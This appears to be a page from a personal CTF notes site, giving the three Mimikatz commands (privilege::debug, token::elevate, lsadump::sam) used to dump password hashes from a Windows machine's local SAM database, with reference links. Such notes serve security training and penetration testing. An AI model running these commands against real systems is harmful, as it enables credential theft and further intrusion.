> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/creds/credential-dumping/mimikatz-dump-local-creds.md).

# Mimikatz - Dump Local Creds

## Dump local SAM database

1. Get `SeDebugPrivilege` for the mimikatz process with [privilege::debug](https://github.com/gentilkiwi/mimikatz/wiki/module-~-privilege#debug)

```
privilege::debug
```

2. Elevate to SYSTEM user privileges with token::elevate

```
token::elevate
```

3. Dump the Security Account Managers (`SAM`) database with [lsadump::sam](https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump#sam)

```
lsadump::sam
```

## Resources

Mimikatz - GitHub: <https://github.com/gentilkiwi/mimikatz>

Mimikatz - Wiki: <https://github.com/gentilkiwi/mimikatz/wiki>

Unofficial Guide to Mimikatz & Command Reference - ADSecurity.org: <https://adsecurity.org/?page_id=1821>